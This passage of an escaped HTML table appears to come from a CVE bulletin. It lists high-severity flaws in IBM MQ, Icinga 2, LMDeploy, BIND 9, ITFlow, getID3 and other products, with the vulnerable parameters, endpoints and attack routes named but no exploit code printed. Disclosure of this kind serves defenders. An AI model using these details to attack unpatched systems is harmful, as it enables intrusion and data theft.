&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to read files from a vulnerable .NET client or cause limited denial of service due to improper handling of XML external entities in RFH2 folder parsing.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12667&quot; target=&quot;_blank&quot;&gt;CVE-2026-12667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 Managed File Transfer could allow an authenticated attacker to read arbitrary files or perform server-side request forgery due to XML external entity injection in reply message processing.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13275&quot; target=&quot;_blank&quot;&gt;CVE-2026-13275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13285&quot; target=&quot;_blank&quot;&gt;CVE-2026-13285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13287&quot; target=&quot;_blank&quot;&gt;CVE-2026-13287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ Appliance&lt;/td&gt;
&lt;td&gt;IBM MQ Appliance could allow a remote attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer overflow in protocol message processing before authentication.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10747&quot; target=&quot;_blank&quot;&gt;CVE-2026-10747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ for HPE NonStop 8.1.0 through 8.1.0.40 could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a heap buffer underflow when processing multi-segment messages.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10858&quot; target=&quot;_blank&quot;&gt;CVE-2026-10858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to improper validation of message distribution list structures.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11381&quot; target=&quot;_blank&quot;&gt;CVE-2026-11381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ for HPE NonStop 8.1.0 through 8.1.0.40 could allow an authenticated attacker to obtain sensitive information or cause a denial of service due to improper validation of message header offset values.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11726&quot; target=&quot;_blank&quot;&gt;CVE-2026-11726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ for HPE NonStop 8.1.0 through 8.1.0.40 IBM MQ C client could allow a remote attacker to cause a denial of service or potentially execute arbitrary code due to improper validation of queue manager responses when requesting AMS policy data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11727&quot; target=&quot;_blank&quot;&gt;CVE-2026-11727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ for HPE NonStop 8.1.0 through 8.1.0.40 could allow an authenticated attacker to cause a denial of service or potentially escalate privileges due to an integer overflow in MQINQ request validation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10744&quot; target=&quot;_blank&quot;&gt;CVE-2026-10744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ for HPE NonStop&lt;/td&gt;
&lt;td&gt;IBM MQ for HPE NonStop 8.1.0 through 8.1.0.40 could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code during queue manager startup due to improper validation of cluster migration data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11716&quot; target=&quot;_blank&quot;&gt;CVE-2026-11716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--spectrum-lsf : IBM Platform RTM&lt;/td&gt;
&lt;td&gt;IBM Platform RTM is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17619&quot; target=&quot;_blank&quot;&gt;CVE-2026-17619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling File Gateway&lt;/td&gt;
&lt;td&gt;IBM Sterling File Gateway could allow a remote attacker to bypass authentication and obtain a fully authenticated session due to improper authentication via an unvalidated SSO header.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75878&quot; target=&quot;_blank&quot;&gt;CVE-2026-75878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Sterling File Gateway&lt;/td&gt;
&lt;td&gt;IBM Sterling File Gateway 6.2.0.0 through 6.2.0.6_1, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 could allow a remote attacker to obtain sensitive information due to improper access control.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19290&quot; target=&quot;_blank&quot;&gt;CVE-2026-19290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ichurakov--Paid Downloads&lt;/td&gt;
&lt;td&gt;The Paid Downloads plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.15 via the admin_request_handler function. This is due to missing authorization and file type validation in the admin_request_handler function, which is reachable unauthenticated via is_admin() returning true for /wp-admin/admin-post.php. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. On Apache servers where AllowOverride is enabled, an .htaccess file placed in the upload directory may block direct HTTP retrieval of uploaded files, limiting exploitability to stacks that do not honor .htaccess directives such as nginx, LiteSpeed, and Apache with AllowOverride None.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87935&quot; target=&quot;_blank&quot;&gt;CVE-2026-87935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Icinga--icinga2&lt;/td&gt;
&lt;td&gt;Icinga 2 is an open source monitoring system. From 2.8 until 2.14.9, 2.15.4, and 2.16.2, certificate update JSON-RPC message handling does not validate that the sender is a trusted endpoint. An unauthenticated network attacker able to connect to TCP port 5665 can replace the node certificate and trusted CA certificate, impersonate a trusted node, and take control of the node. This issue is fixed in versions 2.14.9, 2.15.4, and 2.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61550&quot; target=&quot;_blank&quot;&gt;CVE-2026-61550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Icinga--icinga2&lt;/td&gt;
&lt;td&gt;Icinga 2 is an open source monitoring system. Prior to 2.14.9, 2.15.4, and 2.16.2, parsing deeply nested JSON can exhaust the call stack because nesting depth is not bounded. The affected JSON parsing paths are reachable by unauthenticated network clients through the Icinga 2 service on TCP port 5665, allowing a remote attacker to crash the process, while possible code execution has not been demonstrated. This issue is fixed in versions 2.14.9, 2.15.4, and 2.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61551&quot; target=&quot;_blank&quot;&gt;CVE-2026-61551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Icinga--icinga2&lt;/td&gt;
&lt;td&gt;Icinga 2 is an open source monitoring system. From 2.4 until 2.14.9, 2.15.4, and 2.16.2, the /v1/objects API writes attacker-controlled template names into generated configuration without escaping them. An authenticated ApiUser with an objects/create/* permission can inject Icinga 2 DSL configuration, escape the intended object, create additional objects, and exceed the user&#039;s assigned privileges. This issue is fixed in versions 2.14.9, 2.15.4, and 2.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61552&quot; target=&quot;_blank&quot;&gt;CVE-2026-61552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ihor-sokoliuk--mcp-searxng&lt;/td&gt;
&lt;td&gt;mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read in src/index.ts passes a caller-supplied URL to readUrlContent() in src/url-reader.ts, where checkContentLength() treats a missing Content-Length header as an inconclusive preflight and the normal and error paths then consume the complete body with response.text(). A server that omits Content-Length can therefore bypass URL_READ_MAX_CONTENT_LENGTH_BYTES and force unbounded memory use. The resulting string is also processed by NodeHtmlMarkdown.translate(), increasing CPU consumption and allowing an unauthenticated HTTP client to cause denial of service. This issue is fixed in version 1.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58483&quot; target=&quot;_blank&quot;&gt;CVE-2026-58483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ihor-sokoliuk--mcp-searxng&lt;/td&gt;
&lt;td&gt;mcp-searxng is a Model Context Protocol server that gives AI assistants web search and URL-reading capabilities through SearXNG. Prior to 1.7.1, web_url_read receives its caller-controlled URL through src/index.ts and validates only the literal hostname in assertUrlAllowed() within src/url-reader.ts before undiciFetch() performs operating-system DNS resolution. A public-looking attacker-controlled hostname that resolves to a private, loopback, link-local, or cloud-metadata address therefore passes the lexical check and causes the MCP server to connect to the internal destination. In the default HTTP configuration, an unauthenticated network client can use this path to read internal services, expose credentials or service tokens, and enumerate reachable internal hosts; in STDIO deployments, prompt-influenced tool selection can provide the malicious URL. Direct private IP literals are blocked, and MCP_HTTP_ALLOW_PRIVATE_URLS remains an explicit opt-out. This issue is fixed in version 1.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58485&quot; target=&quot;_blank&quot;&gt;CVE-2026-58485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InternLM--lmdeploy&lt;/td&gt;
&lt;td&gt;LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.1 and prior to version 0.10.2, the LMdeploy&amp;nbsp;implements an&amp;nbsp;rpc server (AsyncRPCServer in zmq_rpc.py)&amp;nbsp;for supporting the RPC communications. In its core functionality&amp;nbsp;call_and_response(), I found it will directly use the&amp;nbsp;pickles.loads()&amp;nbsp;to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. Version 0.10.2 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59953&quot; target=&quot;_blank&quot;&gt;CVE-2025-59953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InternLM--lmdeploy&lt;/td&gt;
&lt;td&gt;LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.2 and prior to version 0.16.0, LMDeploy&#039;s PyTorch DistServe/PD-disaggregation control plane used `recv_pyobj()` to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements `recv_pyobj()` using Python pickle deserialization, which can execute arbitrary code while reconstructing an object. The peer address used by the receiver was supplied through the `POST /distserve/p2p_connect` HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload. API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process. This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow. The fix was released in LMDeploy 0.16.0. Users who cannot upgrade immediately should prevent untrusted clients from reaching `/distserve/*` endpoints, restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks, configure API-key authentication, and block arbitrary outbound ZeroMQ connections from serving nodes. These measures reduce exposure but do not make pickle deserialization safe.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-66455&quot; target=&quot;_blank&quot;&gt;CVE-2025-66455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InternLM--lmdeploy&lt;/td&gt;
&lt;td&gt;LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f&#039;torch.{quant_dtype}&#039;)` without any validation. Version 0.12.3 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33625&quot; target=&quot;_blank&quot;&gt;CVE-2026-33625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InternLM--lmdeploy&lt;/td&gt;
&lt;td&gt;InternLM LMDeploy through 0.17.0 contains a reachable assertion vulnerability in the DistServe decode migration loop that allows unauthenticated attackers to terminate the inference engine. Attackers can submit a migration_request with an empty remote_block_ids list to trigger an AssertionError that crashes the engine loop and causes subsequent inference requests to fail.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92971&quot; target=&quot;_blank&quot;&gt;CVE-2026-92971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InternLM--lmdeploy&lt;/td&gt;
&lt;td&gt;InternLM LMDeploy through 0.17.0 in DistServe prefill/decode disaggregation mode fails to release scheduler sessions because the proxy uses user-facing session IDs instead of internal scheduler keys. Unauthenticated attackers can send completion requests to the proxy endpoint that accumulate unreleased scheduler metadata and memory until the prefill worker is out-of-memory killed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92983&quot; target=&quot;_blank&quot;&gt;CVE-2026-92983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;On a resolver configured to use ``dns64``, if an applicable answer from the authoritative server is malformed in a specific way, the resolver `named` process will exit unexpectedly. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19666&quot; target=&quot;_blank&quot;&gt;CVE-2026-19666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;If an attacker-controlled authoritative server can produce a negative answer that is exactly 65536 bytes, then a flaw in `named` results in a negative cache entry of 0 bytes. When this entry is subsequently read, `named` aborts. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19667&quot; target=&quot;_blank&quot;&gt;CVE-2026-19667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;If BIND is loaded with a &quot;`named.conf`&quot; file that contains no global &quot;`options`&quot; block, an attacker can send a query of QTYPE TKEY which may cause an assertion failure and subsequent unexpected program exit. This issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76163&quot; target=&quot;_blank&quot;&gt;CVE-2026-76163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;An attacker can cause `named` to abort by sending a crafted DNS-over-HTTPS request with a cryptographically invalid SIG(0) record, and then closing the transport connection prematurely. This issue affects BIND 9 versions 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77692&quot; target=&quot;_blank&quot;&gt;CVE-2026-77692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;If a BIND resolver sends a query for a DNSSEC-signed authoritative zone, and the authoritative server replies with a valid wildcard answer and signed NSEC3 proof, followed by an unsigned NSEC at the same owner name, it will trigger an unexpected program exit. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80274&quot; target=&quot;_blank&quot;&gt;CVE-2026-80274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;A BIND resolver encountering an SVCB/HTTPS AliasMode record referencing 14 or more SVCB/HTTPS ServiceMode records may fail to properly deallocate internal resources. If this happens repeatedly, resource exhaustion will eventually prevent the resolver from performing new recursive lookups. This issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81563&quot; target=&quot;_blank&quot;&gt;CVE-2026-81563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ISC--BIND 9&lt;/td&gt;
&lt;td&gt;If a BIND resolver has cached a tree of SVCB/HTTPS AliasMode records, and is then queried for the root of that tree, the resolver will spend disproportionate CPU time constructing the response. This issue affects BIND 9 versions 9.18.0 through 9.18.50, 9.20.0 through 9.20.27, 9.21.0 through 9.21.25, 9.18.11-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.27-S1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81736&quot; target=&quot;_blank&quot;&gt;CVE-2026-81736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Issabel Foundation--Issabel Framework&lt;/td&gt;
&lt;td&gt;The Issabel Framework, the web framework supporting Issabel PBX software, before commit b97dbaf contains a hard-coded HS256 JWT signing key in the pbxapi index.php file that is identical across every installation, allowing unauthenticated remote attackers to forge valid bearer tokens. Attackers can use the forged token to call the manager originate endpoint with the System application parameter, causing Asterisk to execute arbitrary OS commands as the Asterisk user. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-09-09.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89026&quot; target=&quot;_blank&quot;&gt;CVE-2026-89026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itflow-org--itflow&lt;/td&gt;
&lt;td&gt;ITFlow provides an IT documentation, ticketing and accounting system for small managed service providers. Prior to version 26.07, an authenticated Technician or higher with access to at least one client invoice can inject SQL through the frequency parameter handled by agent/post/recurring_invoice.php. The handler passes recurring_invoice_frequency through sanitizeInput but interpolates it unquoted into DATE_ADD, allowing SQL syntax to escape the interval expression, assign additional INSERT columns, store subquery results in recurring_invoice_note, and expose those results through agent/recurring_invoice.php. The persisted recurring_invoice_frequency can execute again when Force Recurring uses it in a later UPDATE, allowing another legitimate user to trigger the second-order injection. This can expose password hashes, SMTP credentials, user records, and database metadata, modify database fields, and enable administrative takeover after credential cracking. This issue is fixed in version 26.07.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54596&quot; target=&quot;_blank&quot;&gt;CVE-2026-54596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itflow-org--itflow&lt;/td&gt;
&lt;td&gt;ITFlow provides an IT documentation, ticketing and accounting system for small managed service providers. Prior to version 26.07, an authenticated user with module_support write permission and access to a credential record can perform time-based blind SQL injection through the expires parameter of the share_generate_link handler in agent/ajax.php. sanitizeInput applies string-context escaping, but expires is inserted unquoted into the item_expire_at MySQL INTERVAL expression, allowing a crafted expression and interval unit to execute conditional database queries whose results are inferred from response delays. This can expose password hashes, SMTP credentials, API keys, encrypted vault data, and database metadata and support administrative takeover after credential cracking. This issue is fixed in version 26.07.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54597&quot; target=&quot;_blank&quot;&gt;CVE-2026-54597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in itsourcecode Leave Management System 1.0. Affected by this issue is some unknown functionality of the file /login.php. Executing a manipulation of the argument user_email can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90789&quot; target=&quot;_blank&quot;&gt;CVE-2026-90789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;james-heinrich--getid3&lt;/td&gt;
&lt;td&gt;getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding getID3.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94106&quot; target=&quot;_blank&quot;&gt;CVE-2026-94106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
